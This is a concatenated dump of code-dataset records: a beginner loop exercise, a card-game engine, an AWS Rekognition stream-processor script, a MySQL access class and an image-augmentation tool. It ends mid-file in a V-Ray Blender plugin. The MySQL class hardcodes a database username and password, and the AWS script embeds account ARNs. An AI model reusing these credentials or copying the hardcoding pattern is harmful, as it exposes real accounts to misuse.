builder.items\n\n","sub_path":"SublimeStorm-Dep-Utils/st3/MUtils/MarkDownInfo.py","file_name":"MarkDownInfo.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"403392225","text":"\"\"\" Aling Nena's Cashier Challenge\nAuthor:\nDescription: During closing, Aling Nena counts from her vault the day's total income and\nalso the total amount of all her paper bills.\nHelp Aling Nena count her total income and total amount of her paper bills\nfrom a list of cash money and using a loop!\n\"\"\"\n\n\ndef is_coins(money):\n \"\"\" Determine if the money is a coin\n :param money: (Integer)\n :return: (Boolean)\n Examples:\n >>> print(is_coins(20))\n False\n >>> print(is_coins(1))\n True\n \"\"\"\n if money < 20:\n return True\n return False\n\n\ncash_on_vault = [1, 5, 100, 10, 50, 50, 20, 5, 1, 1000, 1000, 500, 5, 200]\npaper_bills_total = 0\ntotal_money = 0\nfor money in cash_on_vault:\n total_money = total_money + money\n if not (is_coins(money)):\n paper_bills_total = paper_bills_total + money\n\nprint(\"Hi Aling Nena! Your total income for the day is {}\".format(total_money))\nprint(\"The total amount of your paper bills is {}\".format(paper_bills_total))\n","sub_path":"loops01.py","file_name":"loops01.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"182730427","text":"import sys\nsys.path.append('.')\nfrom util.game import Game\nfrom util.func import Case\nfrom util.card import Card, CardList, CardSuit\nfrom util.player import Player\nfrom typing import List, Optional, Tuple\nimport random\n\nclass LevelUp(Game):\n ### Constants\n PLAYERNUM: int = 4\n CARDPOOL: List[Card] = [Card(i) for i in range(54)] * 2\n BASESCORE: int = 80\n LEVELSCORE: int = 40\n\n def __init__(self):\n self.players: List[Optional[Player]] = [None] * LevelUp.PLAYERNUM\n self.discard_buffer: Optional[CardList] = None\n self.curPlayerIndex: Optional[int] = None\n self.rankLevel: Tuple[int, int] = (1, 1)\n self.dealerIndex: Optional[int] = None\n self.rankMain: int = 1\n # E.g. (Spade, 0, 1) means the main suit is spade (suited with a single spade by 0-th player)\n self.suitMain: Optional[Tuple(CardSuit, int, int)] = None\n self.score: int = 0\n self.state: str = 'END'\n for i in range(len(self.players)):\n self.players[i] = Player()\n \n \n def inform(self, information):\n case = Case(self.state)\n if case('END'):\n case = Case(information)\n if case('START'):\n self.state = 'DISPATCH'\n return (True, self._dispatch(), \n {\n 'suit': self.suitMain, \n 'rank': self.rankMain,\n 'level': self.rankLevel\n }\n )\n if case('DISPATCH'):\n case = Case(information)\n if case('FINISH'):\n self.state = 'DISCARD'\n if self.dealerIndex is None:\n self.dealerIndex = self.suitMain[1]\n self.curPlayerIndex = self.dealerIndex\n self.players[self.curPlayerIndex].cardInHand += self.discard_buffer\n self.discard_buffer = CardList()\n for player in self.players:\n player.cardFront = CardList()\n return (True, None, None)\n return (False, None, None)\n \n def _dispatch(self) -> List[int]:\n newCardPool: List[Card] = random.sample(LevelUp.CARDPOOL, len(LevelUp.CARDPOOL))\n dispatch = [newCardPool[0:25], newCardPool[25:50], newCardPool[50:75], newCardPool[75:100], newCardPool[100:]]\n for id, player in enumerate(self.players):\n player.cardInHand = CardList(dispatch[id])\n self.discard_buffer = CardList(dispatch[-1])\n return [[card.ID for card in cards] for cards in dispatch]\n \n def isSuitable(self, cards: List[int], playerID: int, suit: Optional[CardSuit] = None):\n #suit: 0 NT, 1 Spade, 2 Heart, 3 Club, 4 Diamond\n if suit is None:\n return [self.isSuitable(cards, playerID, s) for s in [\n CardSuit.Joker, CardSuit.Spade, CardSuit.Heart, CardSuit.Club, CardSuit.Diamond\n ]]\n cardnum = -1\n case = Case(suit)\n if case(CardSuit.Spade): cardnum = 39 + self.rankMain\n elif case(CardSuit.Heart): cardnum = 26 + self.rankMain\n elif case(CardSuit.Club): cardnum = 13 + self.rankMain\n elif case(CardSuit.Diamond): cardnum = self.rankMain\n if self.suitMain is None:\n if suit == CardSuit.Joker: \n return cards.count(52) == 2 or cards.count(53) == 2\n else:\n return cardnum in cards\n elif self.suitMain[1] == playerID:\n if self.suitMain[2] == 2: return False\n if suit != self.suitMain[0]: return False\n return cards.count(cardnum) == 2\n else:\n if suit == CardSuit.Joker:\n if self.suitMain[0] == CardSuit.Joker:\n return cards.count(53) == 2\n else:\n return cards.count(53) == 2 or cards.count(52) == 2\n if self.suitMain[2] == 2: return False\n return cards.count(cardnum) == 2\n \n def suitRequest(self, playerID: int, suit: CardSuit):\n cards = self.players[playerID].cardInHand.tolist()\n if not self.isSuitable(cards, playerID, suit):\n return False\n for player in self.players:\n player.cardFront = CardList()\n cardnum = -1\n case = Case(suit)\n if case(CardSuit.Spade): cardnum = 39 + self.rankMain\n elif case(CardSuit.Heart): cardnum = 26 + self.rankMain\n elif case(CardSuit.Club): cardnum = 13 + self.rankMain\n elif case(CardSuit.Diamond): cardnum = self.rankMain\n if suit == CardSuit.Joker:\n if cards.count(52) == 2:\n self.suitMain = (CardSuit.Joker, playerID, 2)\n self.players[playerID].cardFront += CardList([Card(52), Card(52)])\n else:\n self.suitMain = (CardSuit.Joker, playerID, 2)\n self.players[playerID].cardFront += CardList([Card(53), Card(53)])\n else:\n if self.suitMain is None:\n self.suitMain = (suit, playerID, 1)\n self.players[playerID].cardFront += Card(cardnum)\n else:\n self.suitMain = (suit, playerID, 2)\n self.players[playerID].cardFront += CardList([Card(cardnum), Card(cardnum)])\n front = [player.cardFront.tolist() for player in self.players]\n return [front, self.suitMain]\n ","sub_path":"util/levelup.py","file_name":"levelup.py","file_ext":"py","file_size_in_byte":5392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"17917238","text":"import boto3\nimport time\n\ndef createCollection(collection_id):\n client = boto3.client('rekognition')\n\n # Create a collection\n response = client.create_collection(CollectionId=collection_id)\n return response['CollectionArn']\n\ndef createStreamProcessor(kvs_arn, kds_arn, name, collection_id, role_arn):\n client = boto3.client(\"rekognition\")\n response = client.create_stream_processor(\n Input={\n 'KinesisVideoStream': {\n 'Arn': kvs_arn\n }\n },\n Output={\n 'KinesisDataStream': {\n 'Arn': kds_arn\n }\n },\n Name=name,\n RoleArn=role_arn,\n Settings={\n 'FaceSearch': {\n 'CollectionId': collection_id,\n \"FaceMatchThreshold\": 1.0\n }\n },\n )\n\n return response\n\ndef statusStreamProcessor(name):\n client = boto3.client(\"rekognition\")\n response = client.describe_stream_processor(\n Name=name\n )\n print(response)\n return response\n\n\ndef startStreamProcessor(name):\n client = boto3.client(\"rekognition\")\n response = client.start_stream_processor(\n Name=name\n )\n print(\"Start the stream processor\")\n return response\n\ndef stopStreamProcessor(name):\n client = boto3.client(\"rekognition\")\n response = client.stop_stream_processor(\n Name=name\n )\n print(\"Stream processor stopped!\")\n return response\n\ndef deleteStreamProcessor(name):\n client = boto3.client(\"rekognition\")\n response = client.delete_stream_processor(\n Name=name\n )\n print(response)\n print(\"Deletion completed!\")\n return response\n\ndef listStreamProcessors():\n client = boto3.client(\"rekognition\")\n response = client.list_stream_processors(\n )\n print(response)\n return response\n\n\n\n\n# def lambda_handler(event, context):\nif __name__ == \"__main__\":\n # TODO implement\n\n \"\"\"\n Process Video Streams with Rekognition, output to KDS\n \"\"\"\n\n # *** Have to replace event object with test cases after this\n\n collection_id = \"known-visitors\"\n kvs_arn = \"arn:aws:kinesisvideo:us-east-1:584092006642:stream/kvs_smartdoor/1587838980687\"\n kds_arn = \"arn:aws:kinesis:us-east-1:584092006642:stream/kds_smartdoor\"\n role_arn = \"arn:aws:iam::584092006642:role/KRNK\"\n stream_process_name = \"smartdoor_processor\"\n\n # stopStreamProcessor(stream_process_name)\n # deleteStreamProcessor(\"smartdoor\")\n # listStreamProcessors()\n\n\n createStreamProcessor(kvs_arn, kds_arn, stream_process_name, collection_id, role_arn)\n\n startStreamProcessor(stream_process_name)\n\n for i in range(5):\n statusStreamProcessor(stream_process_name)\n time.sleep(5)\n\n status = statusStreamProcessor(stream_process_name)\n if status[\"Status\"] == \"RUNNING\":\n stopStreamProcessor(stream_process_name)\n\n deleteStreamProcessor(stream_process_name)\n\n\n\n","sub_path":"KRK/Kinesis.py","file_name":"Kinesis.py","file_ext":"py","file_size_in_byte":2916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"553206246","text":"import MySQLdb\n\n # -*- coding: utf-8 -*-\n\nclass Singleton(object):\n _instance = None\n def __new__(cls, *args, **kwargs):\n if not cls._instance:\n cls._instance = super(Singleton, cls).__new__(cls, *args, **kwargs)\n return cls._instance\n\n\nclass DAO(Singleton):\n def __init__(self):\n self._connect()\n return\n\n\n def _connect(self):\n self.connection = MySQLdb.connect(host=\"infoweb\", \\\n user=\"E155530E\", \\\n passwd=\"E155530E\", \\\n db=\"E155530E\")\n return\n\n\n def _get_cursor(self):\n try:\n self.connection.ping()\n except:\n self._connect()\n return self.connection.cursor()\n\n\n def get_row(self, query):\n cursor = self._get_cursor()\n cursor.execute(query)\n row = cursor.fetchone()\n cursor.close()\n return row\n\n\n def get_rows(self, query):\n cursor = self._get_cursor()\n cursor.execute(query)\n rows = cursor.fetchall()\n cursor.close()\n return rows\n\n\n def execute(self, query):\n cursor = self._get_cursor()\n cursor.execute(query)\n self.connection.commit()\n cursor.close()\n return\n","sub_path":"dao.py","file_name":"dao.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"422592069","text":"# Author: Acer Zhang\n# Datetime:2019/10/26\n# Copyright belongs to the author.\n# Please indicate the source for reprinting.\n\nimport os\nimport sys\nimport random\nimport traceback\n\nfrom PIL import Image, ImageEnhance\nimport numpy as np\n\nfrom tools.os_tool import read_ext_in_dir\n\nfontP = \"./font/1.ttf\"\n\n\nclass ImgPretreatment:\n \"\"\"\n\n 图像预处理类\n\n 批量处理代码1 分类任务:\n # 创建工具对象并传入相关参数\n img_pretreatment_tool=ImgPretreatment(args)\n # 处理所有图像\n for index in range(img_pretreatment_tool.__len__())\n\n # 初始化当前index图像\n img_pretreatment_tool.img_init(index)\n # 对图像进行操作\n img_pretreatment_tool.img_cut_color()\n img_pretreatment_tool.img_xxx()\n img_pretreatment_tool.img_xxx()\n ...\n # 获取最终处理好的数据(Pillow对象)\n final_img_pil_obj,final_loc_box = img_pretreatment_tool.req_result()\n 批量处理代码2 目标检测任务:\n # 创建工具对象并传入相关参数\n img_pretreatment_tool=ImgPretreatment(args)\n # 处理所有图像\n for index in range(img_pretreatment_tool.__len__())\n # 可以获取当前初始化的文件名(不含扩展名) 防止与将要操作的图片不一致\n now_img_name = self.img_files_name[index]\n loc = xxx\n # 初始化当前index图像\n img_pretreatment_tool.img_init(index,loc)\n # 对图像进行操作\n img_pretreatment_tool.img_cut_color()\n img_pretreatment_tool.img_xxx()\n img_pretreatment_tool.img_xxx()\n ...\n # 获取最终处理好的数据(Pillow对象)\n final_img_pil_obj,final_loc_box = img_pretreatment_tool.req_result()\n\n 批量处理代码3 从内存读取:\n # 只需要在初始化图片时传入PIL对象即可 但部分功能可能无法使用(颜色裁剪,若没有之前保留的均值参数则无法计算颜色均值)\n # 创建工具对象并传入相关参数\n img_pretreatment_tool=ImgPretreatment(args)\n # 处理所有图像\n for index in range(len(img_pretreatment_tool))\n # 初始化当前index图像\n img_pretreatment_tool.img_init(index,pil_obj)\n # 对图像进行操作\n img_pretreatment_tool.img_cut_color()\n img_pretreatment_tool.img_xxx()\n img_pretreatment_tool.img_xxx()\n ...\n # 获取最终处理好的数据(Pillow对象)\n final_img_pil_obj,final_loc_box = img_pretreatment_tool.req_result()\n Tips:\n 1、第一次进行图像减颜色均值操作时过程较长,并非卡顿。\n 2、如果要统一数据集尺寸,则最好放在所有对图像的操作之前,初始化图像操作之后。这样更有利运行速度。\n 3、若进行颜色裁剪,则不可以进行保存图片操作,请在该操作前进行保存。\n 4、在传入标签位置信息时不用担心与当前所初始化的图片是否对应,因为在初始化该类时就已经生成了图片路径索引表\n 只需要获取 self.img_files_name 就可以知道当前index对应的图片名。\n 参数保存:\n 在获取颜色均值后会保一个参数文件'img_pretreatment.txt'记录参数。\n 参数读取仅在for_test=True或ignore_log=False时生效。\n\n 设计思想:\n ->给定文件夹以及参数进行读取。\n ->构建图片列表。\n ->给出索引值,初始化对应图片,若包含位置信息则在此传入。\n ->对图片进行操作。\n ->获取当前处理后的图片。\n\n 单张变多张操作: 初始化图片后,内部会以一个列表存储该图片,若涉及单张变多张的操作则会把结果都保存在该列表中。\n 尺寸变换操作: 每次处理都会有一个全局变量来记录变换后的尺寸\n 颜色裁剪操作: 仅计算文件夹内图片的颜色均值,无论怎样调整操作顺序,该操作总是最后一个进行,而且较为独立。\n \"\"\"\n\n def __init__(self, all_img_path, mean_color_num=500, dir_deep=0, img_type=\"jpg\", read_img_type='L',\n ignore_log=False, for_test=False, debug=True):\n \"\"\"\n :param all_img_path: 图像文件所在文件夹路径\n :param mean_color_num: 颜色均值采样数\n :param dir_deep: 检索文件夹的深度\n :param img_type: 图像文件类型,默认jpg格式\n :param read_img_type: 图像读取通道类型 默认为灰度\n :param ignore_log: 是否忽略之前参数文件\n :param for_test: 是否用于测试,如果用于测试则自动读取颜色裁剪信息\n :param debug: 设置为False后将进入哑巴模式,什么信息都不会打印在屏幕上,报错信息除外\n \"\"\"\n\n if debug:\n print(\"----------ImgPretreatment Start!----------\")\n\n self.img_files_name, self.img_files_path = read_ext_in_dir(all_img_path, dir_deep, img_type, name_none_ext=True)\n\n self.len_img = len(self.img_files_path)\n assert self.len_img != 0, \"No file is in the folder.\"\n self.mean_color_num = mean_color_num\n self.img_type = img_type\n self.read_img_type = read_img_type\n self.debug = debug\n self.shape = Image.open(self.img_files_path[0]).size\n\n # Flag 变量\n self.allow_req_img = False # 图像初始化控制\n self.allow_save_flag = True # 允许保存,如果进行去均值操作则不允许保存\n self._color_mean_flag = False # 是否需要计算颜色均值\n self.__need_color_cut_flag = False # 是否需要颜色去均值\n self.__first_print_flag = True # 是否第一次输出控制变量\n self.__contain_location = False # 是否包含位置标签信息\n if ignore_log is False or for_test is True:\n try:\n with open(\"./img_pretreatment.txt\", \"r\") as f:\n info = f.read().split(\"-\")\n check_info = str(self.read_img_type) + str(self.len_img) + str(self.mean_color_num)\n if info[0] == check_info or for_test:\n self._color_mean_flag = True\n self.allow_save_flag = False\n self.__color_mean = float(info[1][1:-1])\n if debug:\n print(\"Load Log Successfully!\")\n except:\n assert not for_test, \"Load Log Finally,Place check img_pretreatment.txt!\"\n # 当前进程变量\n self.now_index = -1\n self.now_img_name = None\n self.now_img_file_path = None\n self.now_img_obj_list = []\n self.now_label_locs_list = []\n self.tmp_one_img_to_num = 0\n self.tmp_all_img_to_num = 0\n if debug:\n print(\"Data read successfully number:\", self.len_img)\n\n def img_init(self, index, label_location_info=None, pil_obj=None):\n \"\"\"\n 图像初始化\n :param index: 需要初始化图像的索引\n :param label_location_info: 图像的位置信息 示例[[x_up, y_up, x_down, y_down],...]\n :param pil_obj: 若不想从文件中读取,请从此传入PIL对象\n \"\"\"\n self.allow_save_flag = True\n self.__contain_location = False\n if pil_obj is not None:\n self._color_mean_flag = False\n self.now_img_obj_list = []\n self.now_img_obj_list.append(pil_obj)\n if index is not self.now_index or len(self.now_img_obj_list) != 1:\n try:\n self.now_img_obj_list = []\n self.now_img_obj_list.append(Image.open(self.img_files_path[index]).convert(self.read_img_type))\n self.now_index = index\n self.now_img_name = self.img_files_name[self.now_index]\n except:\n print(traceback.format_exc())\n if label_location_info is not None:\n self.__contain_location = True\n self.now_label_locs_list = []\n self.now_label_locs_list.append(label_location_info)\n\n def __color_mean_start(self):\n \"\"\"\n 颜色均值获取\n :return:颜色均值\n \"\"\"\n sum_img_numpy = np.zeros((1, 1, 1), dtype=np.float)\n if self.read_img_type is \"L\":\n sum_img_numpy = np.zeros(1, dtype=np.float)\n\n self.__color_mean = [0, 0, 0]\n mean_color_num = self.mean_color_num\n success_num = 1\n only_shape = None\n for id_, imgP in enumerate(self.img_files_path):\n im = Image.open(imgP).convert(self.read_img_type)\n if id_ == 0:\n only_shape = im.size\n if only_shape != im.size:\n mean_color_num += 1\n continue\n sum_img_numpy += np.mean(np.asarray(im).reshape((1, im.size[0], im.size[1])))\n success_num += 1\n if id_ == mean_color_num or id_ == self.len_img - 1:\n self.__color_mean = np.around((sum_img_numpy / success_num), decimals=3).tolist()\n self._color_mean_flag = True\n\n with open(\"./img_pretreatment.txt\", \"w\") as f:\n f.write(\n (str(self.read_img_type) + str(self.len_img) + str(self.mean_color_num) + \"-\" + str(\n self.__color_mean)))\n if self.debug is True:\n print(\"Color mean :\", self.__color_mean)\n print(\"Successful counting in color mean:\", success_num - 1)\n print(\"Write log --Done!\")\n return self.__color_mean\n\n def img_cut_color(self):\n \"\"\"\n 颜色去均值操作\n 防止因为去均值后颜色模式发生改变,所以立了个Flag,使它即将结束时运行该操作。\n \"\"\"\n self.__need_color_cut_flag = True\n self.allow_save_flag = False\n\n def img_only_one_shape(self, expect_w, expect_h):\n \"\"\"\n 传入图片将中心修正为数据集统一的尺寸\n 注意!期望大小必须小于原始图片大小\n \"\"\"\n temp_img_list = []\n for index, now_img_obj in enumerate(self.now_img_obj_list):\n w, h = now_img_obj.size\n assert (w - expect_w >= 0 or h - expect_h >= 0), (\n \"Expected values are larger than the original image size. Please adjust the expected values to be \"\n \"smaller than the original size!\")\n box = ((w - expect_w) // 2, (h - expect_h) // 2,\n (w - expect_w) // 2 + expect_w, (h - expect_h) // 2 + expect_h)\n img = now_img_obj.crop(box)\n temp_img_list.append(img)\n if self.__contain_location:\n self.__repair_loc(index, box)\n\n self.now_img_obj_list = temp_img_list\n self.shape = temp_img_list[0].size\n\n def img_resize(self, expect_w, expect_h):\n \"\"\"\n 多相位调整图像大小\n :param expect_w: 期望的宽度-横向\n :param expect_h: 期望的高度-纵向\n \"\"\"\n temp_list = []\n for index, now_img_obj in enumerate(self.now_img_obj_list):\n if self.__contain_location:\n w, h = now_img_obj.size\n w_, h_ = (expect_w / w, expect_h / h)\n for loc_id, loc in enumerate(self.now_label_locs_list[index]):\n tmp_loc = [loc[0], [loc[1][0] * w_, loc[1][1] * h_, loc[1][2] * w_, loc[1][3] * w_]]\n self.now_label_locs_list[index][loc_id] = tmp_loc\n img = now_img_obj.resize((expect_w, expect_h), Image.LANCZOS)\n temp_list.append(img)\n\n self.now_img_obj_list = temp_list\n self.shape = temp_list[0].size\n\n def img_rotate(self, angle_range=(0, 0), angle_step=1, angle_and_transpose=False, only_transpose=True):\n \"\"\"\n 图像翻转\n 如果仅返回规则翻转,则不需要修改前两个参数\n :param angle_range:旋转最小角度和最大角度\n :param angle_step:选择角度之间的步长\n :param angle_and_transpose:旋转角度之后再进行水平和垂直旋转\n :param only_transpose:仅进行水平和垂直旋转\n Tips:如果使用该模块,则只在最后获取时运行\n \"\"\"\n\n def tran(ori_pil_obj, out_pil_list):\n out_pil_list.append(ori_pil_obj)\n out_pil_list.append(ori_pil_obj.transpose(Image.FLIP_LEFT_RIGHT))\n out_pil_list.append(ori_pil_obj.transpose(Image.FLIP_TOP_BOTTOM))\n\n temp_list = []\n if only_transpose is True:\n tmp_locs = []\n for index, now_img_obj in enumerate(self.now_img_obj_list):\n tran(now_img_obj, temp_list)\n w, h = now_img_obj.size\n tmp_loc1 = []\n for loc in self.now_label_locs_list[index]:\n tmp_loc1.append(loc)\n tmp_loc2 = []\n for loc in self.now_label_locs_list[index]:\n tmp_loc2.append([loc[0], [w - loc[1][0], loc[1][1], w - loc[1][2], loc[1][3]]])\n tmp_loc3 = []\n for loc in self.now_label_locs_list[index]:\n tmp_loc3.append([loc[0], [loc[1][0], h - loc[1][1], loc[1][2], h - loc[1][3]]])\n tmp_locs.append(tmp_loc1)\n tmp_locs.append(tmp_loc2)\n tmp_locs.append(tmp_loc3)\n self.now_label_locs_list = tmp_locs\n\n else:\n print(\"暂时不需要该功能\")\n \"\"\"\n for now_img_obj in self.now_img_obj_list:\n for angle in range(angle_range[0], angle_range[1], angle_step):\n temp_list.append(now_img_obj.rotate(angle))\n if angle_and_transpose is True:\n self.now_img_obj_list = []\n for now_img_obj in temp_list:\n tran(now_img_obj, self.now_img_obj_list)\n\n \"\"\"\n self.now_img_obj_list = temp_list\n\n def img_random_crop(self, expect_w: int, expect_h: int, random_num: int = 1):\n \"\"\"\n 随机裁剪\n 期望值需小于当前图片尺寸\n :param expect_w:\n :param expect_h:\n :param random_num:\n \"\"\"\n temp_img_list = []\n for seed in range(1, random_num + 1):\n for index, now_img in enumerate(self.now_img_obj_list):\n w, h = now_img.size\n seed_w = random.randint(0, (w - expect_w))\n seed_h = random.randint(0, (h - expect_h))\n box = (seed_w, seed_h, seed_w + expect_w, seed_h + expect_h)\n if self.__contain_location:\n self.__repair_loc(index, box)\n temp_img_list.append(now_img.crop(box))\n self.now_img_obj_list = temp_img_list\n self.shape = temp_img_list[0].size\n\n def img_random_contrast(self, random_num: int = 1, lower=0.5, upper=1.5):\n \"\"\"\n 随机对比度\n :param random_num: 随机次数,尽可能在3以内,建议为1,均匀随机\n :param lower:最低可能的对比度\n :param upper:最高可能的对比度\n \"\"\"\n\n temp_list = list(self.now_img_obj_list)\n temp_los = list(self.now_label_locs_list) if self.__contain_location else None\n for seed in range(1, random_num + 1):\n factor = random.uniform(lower + ((upper - lower) * seed - 1 / random_num),\n lower + ((upper - lower) * seed / random_num))\n for index, now_img_obj in enumerate(self.now_img_obj_list):\n img = ImageEnhance.Sharpness(now_img_obj)\n img = img.enhance(factor)\n temp_list.append(img)\n if self.__contain_location:\n temp_los.append(temp_los[index])\n self.now_img_obj_list = temp_list\n self.now_label_locs_list = temp_los\n\n def img_random_brightness(self, random_num: int = 1, lower=0.5, upper=1.5):\n \"\"\"\n 随机亮度\n :param random_num: 随机次数,尽可能在3以内,建议为1,均匀随机\n :param lower:最低可能的亮度\n :param upper:最高可能的亮度\n \"\"\"\n\n temp_list = list(self.now_img_obj_list)\n temp_los = list(self.now_label_locs_list) if self.__contain_location else None\n for seed in range(1, random_num + 1):\n factor = random.uniform(lower + ((upper - lower) * seed - 1 / random_num),\n lower + ((upper - lower) * seed / random_num))\n for index, now_img_obj in enumerate(self.now_img_obj_list):\n img = ImageEnhance.Brightness(now_img_obj)\n img = img.enhance(factor)\n temp_list.append(img)\n if self.__contain_location:\n temp_los.append(temp_los[index])\n self.now_img_obj_list = temp_list\n self.now_label_locs_list = temp_los\n\n def img_random_saturation(self, random_num: int = 1, lower=0.5, upper=1.5):\n \"\"\"\n 随机饱和度\n :param random_num: 随机次数,尽可能在3以内,建议为1,均匀随机\n :param lower:最低可能的亮度\n :param upper:最高可能的亮度\n \"\"\"\n temp_list = list(self.now_img_obj_list)\n temp_los = list(self.now_label_locs_list) if self.__contain_location else None\n for seed in range(1, random_num + 1):\n factor = random.uniform(lower + ((upper - lower) * seed - 1 / random_num),\n lower + ((upper - lower) * seed / random_num))\n for index, now_img_obj in enumerate(self.now_img_obj_list):\n img = ImageEnhance.Color(now_img_obj)\n img = img.enhance(factor)\n temp_list.append(img)\n if self.__contain_location:\n temp_los.append(temp_los[index])\n self.now_img_obj_list = temp_list\n self.now_label_locs_list = temp_los\n\n def req_result(self, save_path=None):\n \"\"\"\n 获取当前处理进程中图片\n :param save_path:如果保存图片,则需要提供保存路径\n :return: PIL_Obj_List or [PIL_Obj_List,location_info_list]\n \"\"\"\n # 特殊操作区域\n if self.__need_color_cut_flag is True:\n temp_list = []\n for now_img_obj in self.now_img_obj_list:\n now_img_obj = Image.fromarray(np.asarray(now_img_obj) - self._req_color_mean())\n temp_list.append(now_img_obj)\n self.now_img_obj_list = list(temp_list)\n self.__need_color_cut_flag = False\n\n # 输出区域\n\n if self.debug and self.__first_print_flag:\n tmp_shape = self.shape\n self.tmp_one_img_to_num = len(self.now_img_obj_list)\n self.tmp_all_img_to_num = self.len_img * len(self.now_img_obj_list)\n print(\"The current size of the first image output is \", tmp_shape)\n print(\"The number of single image pre-processed is expected to be \", self.tmp_one_img_to_num)\n print(\"The total number of pictures expected to be produced is \", self.tmp_all_img_to_num)\n self.__first_print_flag = False\n if self.debug:\n self.__progress_print()\n # 保存区域\n if save_path is not None:\n assert self.allow_save_flag, \"Can not save F mode img! Please undo img_cut_color operation!\"\n folder = os.path.exists(save_path)\n if not folder:\n os.makedirs(save_path)\n if len(self.now_img_obj_list) != 1:\n for id_, img in enumerate(self.now_img_obj_list):\n img.save(\n os.path.join(save_path, self.img_files_name[self.now_index] + str(id_) + \".jpg\").replace(\"\\\\\",\n \"/\"))\n else:\n self.now_img_obj_list[0].save(\n os.path.join(save_path, self.img_files_name[self.now_index] + \".jpg\").replace(\"\\\\\", \"/\"))\n # 数据返回区域\n if self.__contain_location:\n return [self.now_img_obj_list, self.now_label_locs_list]\n else:\n return self.now_img_obj_list\n\n def req_img_count(self):\n \"\"\"\n 获取当前处理文件夹下处理后图像总数\n 返回单张图片处理后的数量,文件夹下预计处理完后的数量\n :return: tmp_one_img_to_num, tmp_all_img_to_num\n \"\"\"\n return self.tmp_one_img_to_num, self.tmp_all_img_to_num\n\n def _req_color_mean(self):\n if self._color_mean_flag:\n return self.__color_mean\n else:\n return self.__color_mean_start()\n\n def __repair_loc(self, index, box):\n \"\"\"\n 修正标签坐标,用于裁剪后坐标偏移修正。传入在原图基础上裁剪的范围框--box和当前坐标列表即可\n :param index: 当前处理列表的索引值\n :param box: 裁剪框\n \"\"\"\n\n temp_loc_list = []\n for loc_id, loc in enumerate(self.now_label_locs_list[index]):\n final_loc = [loc[1][0] - box[0], loc[1][1] - box[1], loc[1][2] - box[0], loc[1][3] - box[1]]\n if min(final_loc) >= 0:\n temp_loc_list.append([loc[0], final_loc])\n else:\n temp_loc_list.append([0, [0, 0, 0, 0]])\n self.now_label_locs_list[index] = temp_loc_list\n\n def __progress_print(self):\n \"\"\"\n 打印进度百分比\n \"\"\"\n\n percentage = (self.now_index + 1) / self.len_img\n stdout_obj = sys.stdout\n style = \"|\\\\|\"\n if self.now_index % 2 == 0:\n style = \"|/|\"\n if self.now_index == self.len_img - 1:\n stdout_obj.write('\\rPercentage of progress:{:.2%}'.format(percentage))\n print(\"\\n----------ImgPretreatment Done!-----------\\n\")\n else:\n stdout_obj.write('\\r' + style + ' Percentage of progress:{:.2%}'.format(percentage))\n\n def __len__(self):\n return self.len_img\n\n# # 测试代码\n# all_img_tool = ImgPretreatment(all_img_path=\"./\", debug=True, ignore_log=True)\n# for i in range(all_img_tool.__len__()):\n# all_img_tool.img_init(i, [[5, 10, 15, 20]])\n# all_img_tool.img_rotate(only_transpose=True)\n# all_img_tool.img_random_brightness()\n# all_img_tool.img_random_contrast()\n# all_img_tool.img_cut_color()\n# all_img_tool.img_resize(450, 220)\n# all_img_tool.img_random_saturation()\n# all_img_tool.img_only_one_shape(448, 218)\n# all_img_tool.img_random_crop(440, 210, 2)\n# all_img_tool.req_result()\n# pass\n","sub_path":"dl_work/tools/img_tool.py","file_name":"img_tool.py","file_ext":"py","file_size_in_byte":22851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"540163049","text":"#\n# V-Ray For Blender\n#\n# http://chaosgroup.com\n#\n# Author: Andrei Izrantcev\n# E-Mail: andrei.izrantcev@chaosgroup.com\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n# All Rights Reserved. V-Ray(R) is a registered trademark of Chaos Software.\n#\n\nimport bpy\n\n\nTYPE = 'OBJECT'\nID = 'VRayClipper'\nNAME = 'Clipper'\nDESC = \"Clipper settings\"\n\n\nPluginParams = (\n {\n 'attr' : 'enabled',\n 'desc' : \"\",\n 'type' : 'BOOL',\n 'default' : False,\n },\n {\n 'attr' : 'affect_light',\n 'desc' : \"\",\n 'type' : 'BOOL',\n 'default' : True,\n },\n {\n 'attr' : 'only_camera_rays',\n 'desc' : \"The clipper will affect objects as they are directly seen by the camera, but they will appear unchanged to reflection/refraction/GI rays\",\n 'type' : 'BOOL',\n 'default' : False,\n },\n {\n 'attr' : 'clip_lights',\n 'desc' : \"\",\n 'type' : 'BOOL',\n 'default' : True,\n },\n {\n 'attr' : 'use_obj_mtl',\n 'name' : \"Use Clipper Material\",\n 'desc' : \"When enabled, the clipper will use the material of each clipped object to fill in the resulting holes. When this is off, the material applied to the clipper object itself will be used\",\n 'type' : 'BOOL',\n 'default' : False,\n },\n {\n 'attr' : 'set_material_id',\n 'name' : 'Set Material ID',\n 'desc' : \"When enabled, you can specify a face material ID for the clipper object\",\n 'type' : 'BOOL',\n 'default' : False,\n },\n {\n 'attr' : 'material_id',\n 'name' : \"Material ID\",\n 'desc' : \"The face material ID for the clipped surfaces when \\\"Set material\\\" ID is enabled\",\n 'type' : 'INT',\n 'default' : 1,\n },\n {\n 'attr' : 'exclusion_mode',\n 'desc' : \"Exclusion Mode\",\n 'type' : 'ENUM',\n 'items' : (\n ('0', \"Include\", \"\"),\n ('1', \"Exclude\", \"\"),\n ),\n 'default' : '1',\n },\n {\n 'attr' : 'exclusion_nodes',\n 'desc' : \"List of node plugins to consider for inclusion/exclusion\",\n 'type' : 'PLUGIN',\n 'default' : \"\",\n },\n {\n 'attr' : 'transform',\n 